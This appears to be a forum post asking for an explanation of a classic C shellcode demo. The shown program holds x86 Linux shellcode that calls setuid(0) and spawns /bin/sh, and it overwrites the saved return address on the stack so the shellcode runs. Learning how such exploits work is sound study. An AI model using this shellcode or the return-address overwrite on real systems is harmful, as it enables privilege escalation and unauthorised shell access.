can anyone explain this code to me?

WARNING: This is an exploit. Do not execute this code.

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.
}

can anyone give me a better explanation ?